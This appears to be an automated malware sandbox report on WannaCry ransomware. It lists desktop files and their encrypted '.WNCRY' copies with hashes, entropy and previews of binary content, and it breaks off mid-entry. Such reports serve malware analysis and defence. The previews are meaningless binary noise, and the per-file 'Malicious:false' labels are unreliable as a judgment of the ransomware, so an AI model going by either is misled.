                                                                                                      SHA-256:8DECF53CE17BDA2F4ED566B63683C10F3ABACBB280DC1671E949304DDA6A4EBD
                                                                                                      SHA-512:776D3411F7EEEB08A41898A870B0CA577DAA6F0E6461C9E777A1729530F9F189CAAA2C63753376769B8DF436EA475EE6E9900875C31F4AB0520D9B32415293D5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....1../....z Y..GU..b.M....7.B\..M..^!.I{b.R...).EC`o._...*.........Z?w..0.q.s]!{/I.6#3%...D...2 .B....7.....!.+}./H.LW{.c...x.r.........3.b9.9.7.w......i#..N..'.2.N......q9.z.o...m2<.$YD+t...['.....].8....1.......I?...V...{A..t....6..D......c..+.............{.M\x......z}..lk......<A.[`..X. N.`.86.O...\zi.....Y1..n.v..8.<.+wr..........Y..Q`..6p_.6.Z.]:D.`h....W..C?@*t.G.Zu5R.*..).>..:........^...O....!.:/.:l^h.-.../.>.Dx&.!.V..........&...j.f.qB.P.....m.w.......ud....%..r..t...D.U...qy-KZ...N...z/I........7pT.%...8. iX7V...>...W.brt..;..L...I!dM.....{?.f!....<.....lh....;......u....4!....BDub.@..x.$>..{..n.4}..1.O./..5"0XY..Z.).0.....I.c=.T..@j......7.%.............2G~.VF-L...L....C4.B"G.P....~.:..T.....KMV..x.....;W...^....k.0._.4.....uv5&=s...G:....m..%.....'....G.a...=..k..T.J......4...W|../..kJd..ZY.1M..`yF+...K...S8.e.)@...\......o....M0H..U...a...........I?......U..IyuE.S...O..*.Q...pT..Q....E....JDT:]o...=..QC....0.

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB\HMPPSXQPQV.mp3

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.82748589013608
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:zMaVt1l0cx14tv31uoNJOSrumz60WKd9Nqz1SbezRArQ+mPTKR:AEtb0qmdBmSrumz60WKd9NQ1gSKR
                                                                                                      MD5:7E159F2967CD1CC420A5909D9E378530
                                                                                                      SHA1:9FC6B497D43AEB677445165486B8D7B8648CF823
                                                                                                      SHA-256:E58E914E8D58FE3596586A6CB3D182BA1AA1F02B88E9E5EFDD35C3EB6023F8C1
                                                                                                      SHA-512:5FBCCFB42189001D0F5CD4EEB7806F9B680A6610387927B323D856D1314A30BD16A1AC5609C5DE4B436C91FCF787CA81D56172D254F862CBE20F0D963A40FA30
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:R..j.;oa......x.Qg.....n...y36....|@:.z..t.>Q.NZ../]=......q..L.*6..`.ve]C.D..<_.6..5\Kce$......o...u9...,h.Ed....U-..q..C.(.n.8B..q..Wm.z[4.&.#... .R.9.$Z.......W..#m..3P;ny.g...C......Kj....{...E...s..~......"}.. 9.<a..P.S.fP..."..k.^]<..g.2.:....Z4%B.6..E....y?.U......H.f...gY.....k.L..{..~........t.......(.P..2C.....C?.....1.KR.Z...!j9....MVx...I.....M.(.t.|.=..h.....OO..o....c..../..La..u.....}Tw..6.. .\~..G......i...H.L9......Z.zW.J.j.L0....C.^...K`.<*.c.MQX..bH..x......G.r.Ra.q.1.>..'.......@^Fe..........3..9W.......2.ge.."e.........F..u!....|...v..M.&T.-\..91.+.=1.p,^Dp.......1.C.#F.b=..4B..v.X*=.$...I..6!..I....[.......M.7#d./.K.VW_.Sd.Xo..".K.].3Ue.+..tk...L.._Ah.....K_.!...dN......m...*.Q.?.^.X?...KC...^.....1..;....q.-.b..S..vI.0........q..X.=.+...jK|8..S....j..h...2H....QR....%...[./AM?L.?..-.e.[.D.....[...x..WqW.@^.../.E...@.>+D.....v....)..g..<.a..2__.U.....,...6.'..:9..(*J.z.......?.......p..n.1xZ....4<.q^N..].*qi...

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB\HMPPSXQPQV.mp3.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.839064715735842
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bksnOs8RvDhpc7T/n6FhInlvObCMrW2bJZNELFVVPFqh+078GTb9:bksOVdpA/nUGpObCMBVLwVPFETR
                                                                                                      MD5:7D3C726A60B9F76CB93A2EA5A51F7364
                                                                                                      SHA1:9EF8F5A39403C9C2CBFF44C99D4C28400CCCF7A8
                                                                                                      SHA-256:7876C8F7FA40031D017917D8E259D4B1D258EF73A270AB03E8EF437DE99054A2
                                                                                                      SHA-512:BE7041338A78963C52BD8B2032F2FD823ABAB8D81FA2216A1F2580F392D2656019C38407912DBB7CDD73CF2C7BE9245D3205E53D662B207E3953F0BA2A93B902
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........*.c.|j.@o.d#*..t...F.s./.....`Y,....fo...}......OAfS..X........G9^$i.F..Y}r).....ic...k.:r....D....tT..A..y......x..Z.c..xh#..b.32T....Y%.S.T..?...}..{..`=...K..!....J....W.....X1...~0..+:/Q9f.......Y/!$.bP...9@[1..@.ML.@./.;.=;s.......e.).J............V..^..'.1..n.;....8s.U.5.......*....u.M..@1F..C.f.....X.n!u.+z..S.&.<[x.5{.....s...AY.D0..w..P....#zf....{...(H..f....CF...R...m..Dj...>..Y@..-wpo..].E...:...t...j..Ih..cw.3`.......I.|}.v.G..<.}S.XI.....I..b.&...c..Ck.gg.p(.....VPR.^Q..7B.....01..-y\......{Mu...2.N4m. <.....i7.~(b.f4GOV.+.<)&d.{.9.)?."k+.J..p.s.-o....G.YUl...f..#@...N."........I.j..I..$4.V].....m..!.# .].L.U.K......Z...4.p.[o ...r....Q.S......L....C,z...--F.n."#..6..$..0....+...|L.P/..\8.....8. >w.Q.)..._.B..M9.{....8E.D.Sz.}..HQu..c...Nj....9br.'.~20..iZ...S.B....db#.S.c=3.I..D.....n..Z.RG.t.l.......o..7.Y.u.........v.V~.......5.B..aZ.....,i.[.E\"L....AE.K..,~.Dq.....#(..*...M....a.."K.e.........6jZ^.J...W.E%..

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB\HMPPSXQPQV.mp3.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.839064715735842
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bksnOs8RvDhpc7T/n6FhInlvObCMrW2bJZNELFVVPFqh+078GTb9:bksOVdpA/nUGpObCMBVLwVPFETR
                                                                                                      MD5:7D3C726A60B9F76CB93A2EA5A51F7364
                                                                                                      SHA1:9EF8F5A39403C9C2CBFF44C99D4C28400CCCF7A8
                                                                                                      SHA-256:7876C8F7FA40031D017917D8E259D4B1D258EF73A270AB03E8EF437DE99054A2
                                                                                                      SHA-512:BE7041338A78963C52BD8B2032F2FD823ABAB8D81FA2216A1F2580F392D2656019C38407912DBB7CDD73CF2C7BE9245D3205E53D662B207E3953F0BA2A93B902
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........*.c.|j.@o.d#*..t...F.s./.....`Y,....fo...}......OAfS..X........G9^$i.F..Y}r).....ic...k.:r....D....tT..A..y......x..Z.c..xh#..b.32T....Y%.S.T..?...}..{..`=...K..!....J....W.....X1...~0..+:/Q9f.......Y/!$.bP...9@[1..@.ML.@./.;.=;s.......e.).J............V..^..'.1..n.;....8s.U.5.......*....u.M..@1F..C.f.....X.n!u.+z..S.&.<[x.5{.....s...AY.D0..w..P....#zf....{...(H..f....CF...R...m..Dj...>..Y@..-wpo..].E...:...t...j..Ih..cw.3`.......I.|}.v.G..<.}S.XI.....I..b.&...c..Ck.gg.p(.....VPR.^Q..7B.....01..-y\......{Mu...2.N4m. <.....i7.~(b.f4GOV.+.<)&d.{.9.)?."k+.J..p.s.-o....G.YUl...f..#@...N."........I.j..I..$4.V].....m..!.# .].L.U.K......Z...4.p.[o ...r....Q.S......L....C,z...--F.n."#..6..$..0....+...|L.P/..\8.....8. >w.Q.)..._.B..M9.{....8E.D.Sz.}..HQu..c...Nj....9br.'.~20..iZ...S.B....db#.S.c=3.I..D.....n..Z.RG.t.l.......o..7.Y.u.........v.V~.......5.B..aZ.....,i.[.E\"L....AE.K..,~.Dq.....#(..*...M....a.."K.e.........6jZ^.J...W.E%..

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB\QCOILOQIKC.jpg

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.825934043628023
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:5SjMXunBIIvswg+fPFR7vYIo65SfVyiCW8Ggjascb5oQGYE+mWaB+:YjowPPFR7vPSIbG7sxYEUaM
                                                                                                      MD5:615DAFC1B1F6D6FAC2DE89DA26CD75B6
                                                                                                      SHA1:184F2E778EA75904CDDA216610BAF2247D4B2C73
                                                                                                      SHA-256:B9F4177936CEF1EB1B3D5982CFC5B8B05BEF28AB17C646F00A3F696D18425B1C
                                                                                                      SHA-512:619FE7DA86D1C672385895D3906C3B831477CB12D07DA42A4770DA78E1AC7A5A3C203B7AAA76C08B9B52822E4B315355969FF6BF1D2CEE1683FFC8FA88F6A716
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:..2.(.1.D.0..c.l...~....&.\.......#s......U~......K....E'N.^.=.s......0....,.......pE|..f.|.>.W.b.iW.KGX.e..[..Mwi.`.kC.....1......[?p..#2h.`5..Z;..|.Bf.)....F.].!..B..........lm..}Cl...(.$Sxo$W.T..HV]4.Zk.^.-...9........z...Gi....A.V.`..FI.T_(.........".2.....2_.... QL[b5.b..s...?4.....q.\#.J.]...?.p...dL..cm...PQ..C.z.?.X.w.8.y....A{\J..!..Mw..K......Ct.....C._Q.2Y..B..*.n.R....Lz.V........&....A.g......O....,,......z!.#.}......<....,2..*..YN.....-...J`'.......?V...k.s...0.UB...G..&....FDh.O....9JD:..3.6t~[`..1....K8..C3...6 n...B......q..$&."....]...B?w...I... ....|..<0..k.Gp.?..."...H......*..!*.n....`.{8[y..HV..oN....1.3......-....;.S.~.|..y..M..f_..`...2..a=.M.....5.N...0.#?.......(...r.h........C:......t.&.......m.}.;W ....].._..m.@2&..RE..1.....*...UEr.A{.H..~.....!.N,.6..Z.G..9..8-.S.`?.K...|gS..k'.>jo.Y..5.n.&,..c..n.SJ../...<.[..1.)....]...`8>g....G..K..|8.....B.........@.7.......k..30.... .T.o~.Yf.D".+.vb..@;.jbK.qT...f.

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB\QCOILOQIKC.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.85903031580019
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkvHqh/7oj7Z0eiEwurPzNj2tOow50kS1x6BNkYgOTKFlttL0aJmgbu2IGRk7F:bkvKh7Amei0DzNj2tg50niLu/o06
                                                                                                      MD5:83A4AF4CC007DB1CBFF5128A75C95230
                                                                                                      SHA1:C2B6A3DAC3A79F9DAA75416C4C384EC0421FB5B0
                                                                                                      SHA-256:AD4575E4B1C88AF94E591FAAE7411252AD6A9FCFC3FA3D14F672AECC36F14877
                                                                                                      SHA-512:53D540AD65AD19AC00E1E751BC61627AF2771F43D5CA1E40C2F589579C9BF4A964DA11058C2153886DDD75B036C6846CA7AF86A850749CDFD90F39B07BDB6CCC
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....\.6....F..I.f.....T.?.....O...D"....r.I....Q x...w..<.|..K...MM=.s...m..oL.S7\6...0.5.a.1.s.i.w?.F.k.......*...^............nFf6$.v....8u.#`.G...KZ....l}:..D....3*.&...a..M...........@.M-J..g#.B8.&%...E!..m....I....k......3....D.wr(.....'<..7.m............v....!v....J.5A..v.An..b..:.z*..|.T...I.!<?.;.Y.Qe2z2. ...'.<.c...x.E..zn.....,2.k...vL..{.....D.qY...$0gzS,...<H...........Lp..(:.....J.e.,O.x.{i...cS.g.....|..~E..[.p..Q.r.W..E.&`o".sT...d......^=..b....!.+..).bA.......*s...5.0.:...-h.!.d.r...|.]h.R.z.59f.}uG~.CR..-J...a.....Z.........n...6k%.4..,c....)8...0.W0._.b0.p.8T....39..JY..^..L..<...62xt..}.............d.$.T......J1.2../....I......Vt......P>D..Q........I..^.........`4.1....6......7.....*.g=...A...)......e.%...O/..E..M.(.U..M,..d..).?..$r.R..%..o.....hN.M..J.........mPOs.o..~.k8B.3Ml..J........o.d.$...)L.:..K.%. ..<..0..=>......u.=].........H...9....|..v../...,.U.........L.Vf..d.....wC..U...[.....6...3.].o.nv..".

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB\QCOILOQIKC.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.85903031580019
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkvHqh/7oj7Z0eiEwurPzNj2tOow50kS1x6BNkYgOTKFlttL0aJmgbu2IGRk7F:bkvKh7Amei0DzNj2tg50niLu/o06
                                                                                                      MD5:83A4AF4CC007DB1CBFF5128A75C95230
                                                                                                      SHA1:C2B6A3DAC3A79F9DAA75416C4C384EC0421FB5B0
                                                                                                      SHA-256:AD4575E4B1C88AF94E591FAAE7411252AD6A9FCFC3FA3D14F672AECC36F14877
                                                                                                      SHA-512:53D540AD65AD19AC00E1E751BC61627AF2771F43D5CA1E40C2F589579C9BF4A964DA11058C2153886DDD75B036C6846CA7AF86A850749CDFD90F39B07BDB6CCC
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....\.6....F..I.f.....T.?.....O...D"....r.I....Q x...w..<.|..K...MM=.s...m..oL.S7\6...0.5.a.1.s.i.w?.F.k.......*...^............nFf6$.v....8u.#`.G...KZ....l}:..D....3*.&...a..M...........@.M-J..g#.B8.&%...E!..m....I....k......3....D.wr(.....'<..7.m............v....!v....J.5A..v.An..b..:.z*..|.T...I.!<?.;.Y.Qe2z2. ...'.<.c...x.E..zn.....,2.k...vL..{.....D.qY...$0gzS,...<H...........Lp..(:.....J.e.,O.x.{i...cS.g.....|..~E..[.p..Q.r.W..E.&`o".sT...d......^=..b....!.+..).bA.......*s...5.0.:...-h.!.d.r...|.]h.R.z.59f.}uG~.CR..-J...a.....Z.........n...6k%.4..,c....)8...0.W0._.b0.p.8T....39..JY..^..L..<...62xt..}.............d.$.T......J1.2../....I......Vt......P>D..Q........I..^.........`4.1....6......7.....*.g=...A...)......e.%...O/..E..M.(.U..M,..d..).?..$r.R..%..o.....hN.M..J.........mPOs.o..~.k8B.3Ml..J........o.d.$...)L.:..K.%. ..<..0..=>......u.=].........H...9....|..v../...,.U.........L.Vf..d.....wC..U...[.....6...3.].o.nv..".

                                                                                                      C:\Users\user\Desktop\JDDHMPCDUJ.png

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.827740483855485
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:LYdgHO6YkMWD/bjmY8ilrd59OlIAZkevhaM55+wZZG6:m6YkvD/bdtlrlAZkeJaMCwZZG6
                                                                                                      MD5:51BEE655DC3857CF16BD8121E51EB30C
                                                                                                      SHA1:C1808691DB79633DF1913C6FC5390BAA7DE917BB
                                                                                                      SHA-256:67B5A37F07347508529DA46C03C3F62C18619F416FEA72442961F850FCF4E7DB
                                                                                                      SHA-512:B98026641E1C91C0E6A0294E5F92313D1FE158AF932C5DF930C1E60B8D06407DB0B9A762BDC01740E0BC1EF0F1F6484BB86C0339F419AC3B5A6B254BD31CA8DE
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:..H.Zk7#...*.u..R.X.....-z;..w.PQ...E.(&.....'....'..,y7.O$T.HS.o.d....z.L..9)..._y.0.=....x.>..d..\..j.x..,!.&.6.G...u.....l.*....</QL=l.^..%....h.:r(....."L.u.C..R\.../..R.)......U.:.I.ke/.)..)..x...X.!A..y{.j[.......9...1..5....!..|/.A./-y.@Z.k.7iM.TdF..._.xA.....<.IK..y<.kR....Dd...u.}.,Bp....>....X.....U..........Dkv.q...$.Nj.>..I.+...6>..2w9..b.o.x..e.q..^....EQ..?I.....c4.s.*..{.. .....%...I^_.v...^..?..@:i.........IB....K. .....zG....n.8..|.1.'....m..h]n....a..7...,.....!.g...8.)........#\.Ok...@?."K..b..6..\.-,}hZ.U.d......$:1..b...i4..(.jS.w.[ 3.j....`........_.98..:..a8.cA3.}..(%.j........:...O.]....'{....L...s.*XAS..h.....Q..k. .k.../Ur......V..svRj.........66.%.)..OmH&n......#..4...y.....F..$...2g].e..........5{.+.4v(...]..9.........>..r..J.EC%..L......z[....E1.h.k.....iJ...y.A..a..T...5ea...|8.../...vL..*.a....+.4$......D..._q.R.~.NvH...\...i.....CSzo.E.!L..X...#..O.....sJ=........4X.;.0..d],V..7'71.]h..G_.s...q. up..z.E.K..

                                                                                                      C:\Users\user\Desktop\JDDHMPCDUJ.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.837761814597918
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bka0c0YinR9QxJ+6hzsM0HUc/pudwwlbk4KIHVdFvm91h:bkayYinR9IA6hzs1HfhWwwlbpVzvm93
                                                                                                      MD5:4158FC1814EFE5957BCDBA2820749A5B
                                                                                                      SHA1:24531241D5A1085137E6B3D56C86079E9A043F3E
                                                                                                      SHA-256:6E7B70044F2315EC22A2AD52F5702A004C2592DC00D486CD8FD725909B7339A4
                                                                                                      SHA-512:0EDAA4EC6C3E2331D368F2EB90B2E3B2423A0ABFE4E3FC432D84FD1DA97D6F42BB213A27197474081B510FFB64701675172198F0D189AA5E11C6655A48000ED3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....U._K..l.e?-..W9......9.o.wxDw}....H.c(....tmC.,...)....M...m..R.e....c..1....w~.S.R....Q..AWW...U........5...]K....MT.s,..K...k'...e.....T._..LIj.@..1@...B\Q8 .-i...=.r..bq..3K.$..2...I.....W........a4...oc.|.8.K..7.p%2...dK..sI.7p..z..{.j@.\..............k.|P..b..#..N.<CYo.7...N-...].Fn.{X;.X.|vn....FV.Z...boA]B...t).......2.~.+...3...<7.P......d.Y..#.@....8+_.h....Z(..#..j..TM..Bp....Kc...2F.W.B....NK6o.:....[..-.]|.8w.geZ..8*.;...m?.[s./.v..K......*..T...cb*.E.Z.W...HR".+8;......].2....G.F..."bh........-..Q...9...p.gV...w...e.d..7...+S...d.Fd.....I.v.%v.]`O...YJ..E..X&r......l.......3.&..5>B.%.z...Y>..Ic..z&1}..k..S>....o...GV...j...]p..!.yL.f.$.>]aa..H.....W....k.....G.........2....;.....Ws;b..=....x.....I..fW.Q.j.....v......h...........]#5t..Cs..A..d..B.4M..zL.%...5'd..u...s....<......j.{vmO.J.M...a..^U..U1_.=...G......Tg./.c.;....e.6..f.Y3Eh9'M.9..a.C\_|...,:....fB..4.....v..4. .^...vN...z..1..Z 0.k.)>..Z..

                                                                                                      C:\Users\user\Desktop\JDDHMPCDUJ.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.837761814597918
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bka0c0YinR9QxJ+6hzsM0HUc/pudwwlbk4KIHVdFvm91h:bkayYinR9IA6hzs1HfhWwwlbpVzvm93
                                                                                                      MD5:4158FC1814EFE5957BCDBA2820749A5B
                                                                                                      SHA1:24531241D5A1085137E6B3D56C86079E9A043F3E
                                                                                                      SHA-256:6E7B70044F2315EC22A2AD52F5702A004C2592DC00D486CD8FD725909B7339A4
                                                                                                      SHA-512:0EDAA4EC6C3E2331D368F2EB90B2E3B2423A0ABFE4E3FC432D84FD1DA97D6F42BB213A27197474081B510FFB64701675172198F0D189AA5E11C6655A48000ED3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....U._K..l.e?-..W9......9.o.wxDw}....H.c(....tmC.,...)....M...m..R.e....c..1....w~.S.R....Q..AWW...U........5...]K....MT.s,..K...k'...e.....T._..LIj.@..1@...B\Q8 .-i...=.r..bq..3K.$..2...I.....W........a4...oc.|.8.K..7.p%2...dK..sI.7p..z..{.j@.\..............k.|P..b..#..N.<CYo.7...N-...].Fn.{X;.X.|vn....FV.Z...boA]B...t).......2.~.+...3...<7.P......d.Y..#.@....8+_.h....Z(..#..j..TM..Bp....Kc...2F.W.B....NK6o.:....[..-.]|.8w.geZ..8*.;...m?.[s./.v..K......*..T...cb*.E.Z.W...HR".+8;......].2....G.F..."bh........-..Q...9...p.gV...w...e.d..7...+S...d.Fd.....I.v.%v.]`O...YJ..E..X&r......l.......3.&..5>B.%.z...Y>..Ic..z&1}..k..S>....o...GV...j...]p..!.yL.f.$.>]aa..H.....W....k.....G.........2....;.....Ws;b..=....x.....I..fW.Q.j.....v......h...........]#5t..Cs..A..d..B.4M..zL.%...5'd..u...s....<......j.{vmO.J.M...a..^U..U1_.=...G......Tg./.c.;....e.6..f.Y3Eh9'M.9..a.C\_|...,:....fB..4.....v..4. .^...vN...z..1..Z 0.k.)>..Z..

                                                                                                      C:\Users\user\Desktop\LIJDSFKJZG.mp3

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.8153865849884605
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:NTo/dTqHwaLrJqomTEM2Os2C0g6WFPX4tRHJyQB:NTo1EwaXJqYz2C0gRFf4tHZB
                                                                                                      MD5:F9FF05C12F375A5C921B4EF99CCCE1F2
                                                                                                      SHA1:228996874BC1CF813F93D36AE101F159C238C398
                                                                                                      SHA-256:178F565B0A217B0205E9E519CE744A9AEF15C44767732A7B70692361D63FD630
                                                                                                      SHA-512:F3EA80370557D143A257247696CED791CD47621D95A811EFF7D8E5346DCBEF2758D6900AE84DFB24677AD0FA17BDE7B6E3B5A1E13CD0F689D76FB37FF0178CF3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:........zA....!...D..Wf.:.o.U..<.4.$.......u.......;..I..#....x).....PK.rt.,......6.......&.rB.'t?j...\}.{... .si...g...5<g\.H]....R..x.e..:..1@x.-...n-._.[..mV........r..j.x...$VX1#...ycv3.M....vI7.Q../z.p.......u..7....q....1.m..{..9;......L..9J.,.&.~.c.$3.^.7`....]..............y/)..1e.......,......zy,.\Xf.J.1..+'8up...g.2.G.B.0.<....@..$....x,..n.K.U...t.l..42..N.3m.:..`rk.9...$d..]...b.."y..Iz....#.U.>...z..N..j.C..M7:...3..;..L......r.(..g..@[(_....!vU...l>..}A.J....!...:..A2..1...V...65..|.K!'..t..).O.............m+.x7.........).Iyw.y...."o...*.ZBU...D1..N..>....Lq........P..=._\.7.......qj$.v.....S..;$v}i..1KTD..AF.0yPm'.S.*0.D.."...=..0%o..M..+.C.:.0.].8.....F..!n.s..sO.se.k....*...Q..DE....v.z..f.<..X:....c...U.?.O'..hN.~.........^..^D.k.N..n...|..y....L.B..\=NOQy..>fFt...[.p.S..a6...Hg..a.....F.......y.MY..N.9...?../U....lc..n...bY.E.G.{....%\..Jb3.._...!..X..f...k.Y...`.O.1.A]..".f.u.E.W!..kZ..f....<...u.;.P.l.q..W.Q....=

                                                                                                      C:\Users\user\Desktop\LIJDSFKJZG.mp3.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.833110690766403
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkjJcadGfLSeFDTsNroVnOB+NNPFvjFzLoviZPHOe4sDoAQS9lLIBZPsw:bkjOaZQsNr83NthzLovofOe4sDoAQ0mJ
                                                                                                      MD5:5F47EF33C6DA7D58205016346470F65B
                                                                                                      SHA1:7B71DED414ECF4F108C8315F551F191C980A9F68
                                                                                                      SHA-256:8F4852C8E3B5534D63B96B62905DC3499A1CE56A7059188B54C9CB6D19EE2A62
                                                                                                      SHA-512:51B411908FEC981B719C84BA9DF0D289AC402A276C17FDA7B05318A69858DD6AF3EF51E9C3346E533703C63B77A19A80CC5523427D2189D4B6B71894ACE83749
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....c.oB....v...k_.G.O...57.5..o...6S...N0\..[.......r......_b..K..cp[9.J4.Kju7Q.!p.Na.h..o...U..as..$.8.(...F.._....j'.u.AI.% ,.$.).L|...Q... .E....2(f>ZbL.?.....'..[/:..]b...MK......o.8[..p*.uuE....I...4u...C...-z6d..S.}..n......H..oN..:.........|h.R............a.......MPu..Hi:-1.....AYL%...5......6..U../.&../L]Z.9.6...:..NU.}~4E. .s...ve.3.$.L...&r..G@.W.:+0.>.4.W.M...Z@..9...a....`K...;.2un.W....j..4.......*...1....b..;....Cj............|..... ..x...j.7.....2...._....F...j[....+X....^.5......2..~6X..).<..O.6.<.f.CIa.Da.E.l.....US....."...\....]Z.......[`.n,.......n... |i...p.DB......w......)y....V..MH.6....E.. wc:.Y...]R......v|..Y-.....n.d..<.4{....i.]...........r.*y..[....)..8.qQlX..:)...*....IJ."@.`@0.bi..R..%O.GF...S}.6..v.Ui.nq..Q........[..sOc&-.'.)........M...\.O.7....!^6n1......J......L....]...7..`m..t.>,KH.H.U....%.A.p/...IL..G>.........!Y.....8D.p...o..dt.t........._..O..u.N.;)...o.+.......n.....%s........

                                                                                                      C:\Users\user\Desktop\LIJDSFKJZG.mp3.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.833110690766403
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkjJcadGfLSeFDTsNroVnOB+NNPFvjFzLoviZPHOe4sDoAQS9lLIBZPsw:bkjOaZQsNr83NthzLovofOe4sDoAQ0mJ
                                                                                                      MD5:5F47EF33C6DA7D58205016346470F65B
                                                                                                      SHA1:7B71DED414ECF4F108C8315F551F191C980A9F68
                                                                                                      SHA-256:8F4852C8E3B5534D63B96B62905DC3499A1CE56A7059188B54C9CB6D19EE2A62
                                                                                                      SHA-512:51B411908FEC981B719C84BA9DF0D289AC402A276C17FDA7B05318A69858DD6AF3EF51E9C3346E533703C63B77A19A80CC5523427D2189D4B6B71894ACE83749
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....c.oB....v...k_.G.O...57.5..o...6S...N0\..[.......r......_b..K..cp[9.J4.Kju7Q.!p.Na.h..o...U..as..$.8.(...F.._....j'.u.AI.% ,.$.).L|...Q... .E....2(f>ZbL.?.....'..[/:..]b...MK......o.8[..p*.uuE....I...4u...C...-z6d..S.}..n......H..oN..:.........|h.R............a.......MPu..Hi:-1.....AYL%...5......6..U../.&../L]Z.9.6...:..NU.}~4E. .s...ve.3.$.L...&r..G@.W.:+0.>.4.W.M...Z@..9...a....`K...;.2un.W....j..4.......*...1....b..;....Cj............|..... ..x...j.7.....2...._....F...j[....+X....^.5......2..~6X..).<..O.6.<.f.CIa.Da.E.l.....US....."...\....]Z.......[`.n,.......n... |i...p.DB......w......)y....V..MH.6....E.. wc:.Y...]R......v|..Y-.....n.d..<.4{....i.]...........r.*y..[....)..8.qQlX..:)...*....IJ."@.`@0.bi..R..%O.GF...S}.6..v.Ui.nq..Q........[..sOc&-.'.)........M...\.O.7....!^6n1......J......L....]...7..`m..t.>,KH.H.U....%.A.p/...IL..G>.........!Y.....8D.p...o..dt.t........._..O..u.N.;)...o.+.......n.....%s........

                                                                                                      C:\Users\user\Desktop\NVWZAPQSQL.docx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.777738221644386
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:OhFZwmFca1+C8/k9PHb8ziCaUuJ1Y7BKv:oca0ePHb8zrU1Y7BKv
                                                                                                      MD5:276DBE37953EA0DB63D43FDE3D9155C4
                                                                                                      SHA1:3C444C59AFBCB2C1C14CEDE05C33A095D4D53840
